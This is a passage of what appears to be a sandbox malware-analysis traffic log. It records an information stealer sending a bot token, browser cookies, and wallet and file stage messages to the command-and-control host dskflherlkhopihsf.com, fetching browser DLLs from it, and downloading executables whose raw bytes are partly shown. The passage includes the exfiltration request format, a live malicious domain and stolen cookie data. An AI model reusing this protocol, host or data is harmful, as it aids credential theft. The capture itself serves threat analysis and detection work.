name="build"default------CBFCBKKFBAEHJKEBKFCB--
Source: global traffic	HTTP traffic detected: POST /d414f888bed8c202.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIEHost: dskflherlkhopihsf.comContent-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 38 62 38 61 65 37 62 62 64 38 33 63 35 32 35 39 30 33 30 31 33 35 31 61 31 30 30 62 38 35 38 66 32 63 30 66 65 66 63 33 36 33 34 38 65 65 37 37 38 31 61 37 62 64 65 36 39 36 37 65 33 66 35 32 35 65 31 38 35 66 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 2d 2d 0d 0a Data Ascii: ------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="token"c78b8ae7bbd83c52590301351a100b858f2c0fefc36348ee7781a7bde6967e3f525e185f------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="message"browsers------JKJEHJKJEBGHJJKEBGIE--
Source: global traffic	HTTP traffic detected: POST /d414f888bed8c202.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKKEHJKFCFCBFHIIDGDHost: dskflherlkhopihsf.comContent-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 38 62 38 61 65 37 62 62 64 38 33 63 35 32 35 39 30 33 30 31 33 35 31 61 31 30 30 62 38 35 38 66 32 63 30 66 65 66 63 33 36 33 34 38 65 65 37 37 38 31 61 37 62 64 65 36 39 36 37 65 33 66 35 32 35 65 31 38 35 66 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 2d 2d 0d 0a Data Ascii: ------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="token"c78b8ae7bbd83c52590301351a100b858f2c0fefc36348ee7781a7bde6967e3f525e185f------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="message"plugins------KKKKEHJKFCFCBFHIIDGD--
Source: global traffic	HTTP traffic detected: POST /d414f888bed8c202.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJJJKEGHJKFHJKFHDHCFHost: dskflherlkhopihsf.comContent-Length: 6179Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /985f606317f3e8dd/sqlite3.dll HTTP/1.1Host: dskflherlkhopihsf.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /d414f888bed8c202.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHIDAKECFIEBGDHJEBKKHost: dskflherlkhopihsf.comContent-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 38 62 38 61 65 37 62 62 64 38 33 63 35 32 35 39 30 33 30 31 33 35 31 61 31 30 30 62 38 35 38 66 32 63 30 66 65 66 63 33 36 33 34 38 65 65 37 37 38 31 61 37 62 64 65 36 39 36 37 65 33 66 35 32 35 65 31 38 35 66 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4e 7a 59 31 4e 44 45 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 55 74 4d 44 63 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 31 4e 7a 51 77 43 55 35 4a 52 41 6b 31 4d 54 45 39 62 6b 35 68 5a 48 46 58 4f 58 56 55 59 31 6b 77 54 31 41 32 53 54 4e 68 5a 6d 35 79 4e 7a 46 76 4e 6b 56 36 59 56 6c 4d 63 32 52 77 56 7a 52 56 52 56 6c 4f 4d 33 5a 5a 63 56 39 79 59 6c 4a 79 54 6b 5a 34 54 54 46 71 62 33 70 51 52 33 56 6f 61 6b 39 53 51 6c 70 4c 53 30 31 36 4d 6e 52 6b 52 48 42 57 5a 54 64 6b 54 6e 56 55 56 33 41 30 51 33 6c 4c 4c 58 70 30 4e 55 6c 7a 4e 6e 64 57 52 57 78 32 5a 56 64 42 5a 6b 74 52 5a 33 64 4f 53 6d 6c 4c 53 33 52 59 53 45 4e 44 51 32 31 79 62 47 64 36 57 6c 52 73 4e 55 4e 70 53 32 70 55 5a 55 45 79 61 56 46 78 5a 6a 5a 36 62 46 4a 4c 4d 6d 67 34 64 32 63 78 61 46 5a 77 53 58 4e 58 63 32 46 4c 63 57 46 58 53 6e 6c 49 54 56 42 47 4d 30 70 42 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 2d 2d 0d 0a Data Ascii: ------EHIDAKECFIEBGDHJEBKKContent-Disposition: form-data; name="token"c78b8ae7bbd83c52590301351a100b858f2c0fefc36348ee7781a7bde6967e3f525e185f------EHIDAKECFIEBGDHJEBKKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EHIDAKECFIEBGDHJEBKKContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzY1NDEJMVBfSkFSCTIwMjMtMTAtMDUtMDcKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk1NzQwCU5JRAk1MTE9bk5hZHFXOXVUY1kwT1A2STNhZm5yNz
Source: global traffic	HTTP traffic detected: POST /d414f888bed8c202.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHIDHost: dskflherlkhopihsf.comContent-Length: 355Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 38 62 38 61 65 37 62 62 64 38 33 63 35 32 35 39 30 33 30 31 33 35 31 61 31 30 30 62 38 35 38 66 32 63 30 66 65 66 63 33 36 33 34 38 65 65 37 37 38 31 61 37 62 64 65 36 39 36 37 65 33 66 35 32 35 65 31 38 35 66 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 64 47 56 7a 64 47 56 6b 4c 6d 5a 70 62 47 55 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 2d 2d 0d 0a Data Ascii: ------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="token"c78b8ae7bbd83c52590301351a100b858f2c0fefc36348ee7781a7bde6967e3f525e185f------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="file_name"dGVzdGVkLmZpbGU=------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="file"------IJKKKFCFHCFIECBGDHID--
Source: global traffic	HTTP traffic detected: POST /d414f888bed8c202.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCAFIIDHIDGHIECGDGIHost: dskflherlkhopihsf.comContent-Length: 355Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 43 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 38 62 38 61 65 37 62 62 64 38 33 63 35 32 35 39 30 33 30 31 33 35 31 61 31 30 30 62 38 35 38 66 32 63 30 66 65 66 63 33 36 33 34 38 65 65 37 37 38 31 61 37 62 64 65 36 39 36 37 65 33 66 35 32 35 65 31 38 35 66 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 43 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 64 47 56 7a 64 47 56 6b 4c 6d 5a 70 62 47 55 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 43 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 43 47 44 47 49 2d 2d 0d 0a Data Ascii: ------KFCAFIIDHIDGHIECGDGIContent-Disposition: form-data; name="token"c78b8ae7bbd83c52590301351a100b858f2c0fefc36348ee7781a7bde6967e3f525e185f------KFCAFIIDHIDGHIECGDGIContent-Disposition: form-data; name="file_name"dGVzdGVkLmZpbGU=------KFCAFIIDHIDGHIECGDGIContent-Disposition: form-data; name="file"------KFCAFIIDHIDGHIECGDGI--
Source: global traffic	HTTP traffic detected: GET /985f606317f3e8dd/freebl3.dll HTTP/1.1Host: dskflherlkhopihsf.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /985f606317f3e8dd/mozglue.dll HTTP/1.1Host: dskflherlkhopihsf.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /985f606317f3e8dd/msvcp140.dll HTTP/1.1Host: dskflherlkhopihsf.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /985f606317f3e8dd/nss3.dll HTTP/1.1Host: dskflherlkhopihsf.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /985f606317f3e8dd/softokn3.dll HTTP/1.1Host: dskflherlkhopihsf.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /985f606317f3e8dd/vcruntime140.dll HTTP/1.1Host: dskflherlkhopihsf.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /d414f888bed8c202.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBAFHDGDGHDGCBFCFIDHost: dskflherlkhopihsf.comContent-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /d414f888bed8c202.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJJEBGDAFHJEBGDGIJDHost: dskflherlkhopihsf.comContent-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 38 62 38 61 65 37 62 62 64 38 33 63 35 32 35 39 30 33 30 31 33 35 31 61 31 30 30 62 38 35 38 66 32 63 30 66 65 66 63 33 36 33 34 38 65 65 37 37 38 31 61 37 62 64 65 36 39 36 37 65 33 66 35 32 35 65 31 38 35 66 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 2d 2d 0d 0a Data Ascii: ------JJJJEBGDAFHJEBGDGIJDContent-Disposition: form-data; name="token"c78b8ae7bbd83c52590301351a100b858f2c0fefc36348ee7781a7bde6967e3f525e185f------JJJJEBGDAFHJEBGDGIJDContent-Disposition: form-data; name="message"wallets------JJJJEBGDAFHJEBGDGIJD--
Source: global traffic	HTTP traffic detected: POST /d414f888bed8c202.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFCFHJDBKJKEBFHJEHIIHost: dskflherlkhopihsf.comContent-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 38 62 38 61 65 37 62 62 64 38 33 63 35 32 35 39 30 33 30 31 33 35 31 61 31 30 30 62 38 35 38 66 32 63 30 66 65 66 63 33 36 33 34 38 65 65 37 37 38 31 61 37 62 64 65 36 39 36 37 65 33 66 35 32 35 65 31 38 35 66 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 2d 2d 0d 0a Data Ascii: ------CFCFHJDBKJKEBFHJEHIIContent-Disposition: form-data; name="token"c78b8ae7bbd83c52590301351a100b858f2c0fefc36348ee7781a7bde6967e3f525e185f------CFCFHJDBKJKEBFHJEHIIContent-Disposition: form-data; name="message"files------CFCFHJDBKJKEBFHJEHII--
Source: global traffic	HTTP traffic detected: POST /d414f888bed8c202.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JECAFHJEGCFCBFIEGCAEHost: dskflherlkhopihsf.comContent-Length: 137167Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /d414f888bed8c202.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJJEBKKEHJDGCBGCFCGHost: dskflherlkhopihsf.comContent-Length: 264Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 45 42 4b 4b 45 48 4a 44 47 43 42 47 43 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 38 62 38 61 65 37 62 62 64 38 33 63 35 32 35 39 30 33 30 31 33 35 31 61 31 30 30 62 38 35 38 66 32 63 30 66 65 66 63 33 36 33 34 38 65 65 37 37 38 31 61 37 62 64 65 36 39 36 37 65 33 66 35 32 35 65 31 38 35 66 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 45 42 4b 4b 45 48 4a 44 47 43 42 47 43 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 64 6f 6e 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 45 42 4b 4b 45 48 4a 44 47 43 42 47 43 46 43 47 2d 2d 0d 0a Data Ascii: ------BKJJEBKKEHJDGCBGCFCGContent-Disposition: form-data; name="token"c78b8ae7bbd83c52590301351a100b858f2c0fefc36348ee7781a7bde6967e3f525e185f------BKJJEBKKEHJDGCBGCFCGContent-Disposition: form-data; name="message"done------BKJJEBKKEHJDGCBGCFCG--

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.24.0Date: Sat, 02 Dec 2023 17:01:50 GMTContent-Type: application/octet-streamConnection: closeContent-Description: File TransferContent-Disposition: attachment; filename=9f99c7ad.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 a8 82 7d 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 ba 02 00 00 e4 39 00 00 00 00 00 5e 89 00 00 00 10 00 00 00 d0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 3c 00 00 04 00 00 88 16 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 bf 02 00 3c 00 00 00 00 70 3b 00 00 19 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 43 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 c4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 90 b9 02 00 00 10 00 00 00 ba 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 84 83 38 00 00 d0 02 00 00 16 00 00 00 be 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 79 6f 7a 69 00 00 00 dc 05 00 00 00 60 3b 00 00 06 00 00 00 d4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 19 01 00 00 70 3b 00 00 1a 01 00 00 da 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 02 Dec 2023 17:02:51 GMTContent-Type: application/x-msdos-programContent-Length: 1106998Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6mpgARKeTTDRxLgC2oJK4gVzGBxQbCi4eyJR3sUQKOs6hH%2BJCckSOQgUNl6hP82BSk1fuKI5Yb0XvMtNeDyEUujPqC0UdUihe%2FeYf6fW5VtOc5J72V7rk2GZM1VnbHpw0WlqGMTh%2FCw%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 82f523d5cb6c592f-IADalt-svc: h3=":443"; ma=86400Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: *0@< .text%&`P`.data\|'@(,@`.rdatapDpFT
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 02 Dec 2023 17:02:55 GMTContent-Type: application/x-msdos-programContent-Length: 685392Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=eagAFGJavyxUR%2Fe4u0vbER%2F3YHwugvVGnMRRAZNCfoMcHnGqkMikvcqcTmg%2FxJP7aQd3e1BdmYQJcjD3xS3Npcepb88y61pzOVxLKTGoTTG2fImO3hhDXkOXOZVPaDb8GP2YnBVy31c%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 82f523ef3860592f-IADalt-svc: h3=":443"; ma=86400Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 